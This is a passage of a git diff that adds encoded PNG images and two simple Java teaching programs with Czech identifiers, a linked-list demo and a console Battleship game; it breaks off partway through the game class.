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 literal 0 HcmV?d00001 diff --git a/java/jCrossCrypt/jcrosscrypt_man.png b/java/jCrossCrypt/jcrosscrypt_man.png new file mode 100755 index 0000000000000000000000000000000000000000..a91398160bfd449fc0ef18bb516d0a6b6185a0d8 GIT binary patch literal 10684 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 literal 0 HcmV?d00001 diff --git a/java/linkedlist.java.txt b/java/linkedlist.java.txt new file mode 100755 index 0000000..8c64672 --- /dev/null +++ b/java/linkedlist.java.txt @@ -0,0 +1,29 @@ +import java.util.Scanner; + +class seznam { + public int hodnota = 0; + public seznam dalsi = null; +} + +public class linkedlist { + public static void main (String argv[]) { + Scanner sc = new Scanner(System.in); + + System.out.print("pocet: "); + int pocet = sc.nextInt(); + + System.out.println("cisla: "); + //vytvoreni spojoveho seznamu a pridani dalsich prvku + seznam s = new seznam(); + seznam prvni = s; + for(int i = 0;i max_size) { + System.err.println("Can't make battlefield smaller than 1x1 or bigger than "+max_size+"x"+max_size+"!"); + System.exit(max_size); + } + size = s; + pole = new char[size][size]; + for(x = 0;x < size;x++) for(y = 0;y < size;y++) pole[x][y] = neznamo; + } + + /** druhy konstruktor - vytvori pole o vychozi s pouzitim prvniho konstruktoru velikosti (bude zavolan, pokud neni zadna velikost zadana) */ + BitevniPole() { + this(10); + } + + /** metoda zajistujici rozmisteni lodi - ve skutecnosti zatim rozmistuje jen nahodne ctverecky, ne cele lode*/ + public void rozmistiLode(int i) { + for(;i>0;i--) { + x = (int)(Math.random()*(size-1)); + y = (int)(Math.random()*(size-1)); + pole[x][y] = lod; + total_impacts++; + } + } + + /** metoda, ktera vytvori string znazornujici toto bitevni pole */ + public String toString() { + String out = new String("\n"); + out += " \tPocet tahu: "+draws+"\n"; + out += " \tPocet zasahu: "+impacts+" z "+total_impacts+"\n"; + out += " \t"; + for(y = 0;y < size;y++) out += "|"+(char)((int)'A'+y); + out += "|\n\n"; + for(x = 0;x < size;x++) { + out += x+"\t"; + for(y = 0;y < size;y++) { + if(!debug && pole[x][y] == lod) { + out += "|"+neznamo; + continue; + } + out += "|"+pole[x][y]; + } + out += "|\n"; + } + return out; + } + + /** zjisti, jestli uz byly zniceny vsechny lode a vrati jako boolean */ + public boolean jeKonec() { + for(x = 0;x < size;x++) for(y = 0;y < size;y++) if(pole[x][y] == lod) return false; + return true; + } + + /** strili na souradnice x,y */ + public boolean strilej(int a, int b) { + if(a >= size || b >= size || a < 0 || b < 0) { + System.out.println("No such cell!"); + return false; + } + if(pole[a][b] == voda || pole[a][b] == zasah) { + System.out.println("This cell was already impacted!"); + return false; + } + if(pole[a][b] == lod) { + pole[a][b] = zasah; + impacts++; + } + if(pole[a][b] == neznamo) pole[a][b] = voda; + draws++; + return true; + } + + /** provede hrace dalsim tahem */ + public void dalsiTah() { + System.out.println(this); + System.out.print("pismenko: "); + y = (int)(sc.next().charAt(0)-'A'); + System.out.print("cislicko: "); + x = sc.nextInt(); + strilej(x, y); + } + + /** provadi tahy, dokud neni pravda, ze jeKonec(), pak vypise gratulace a zkonci */ + public void hrat() { + 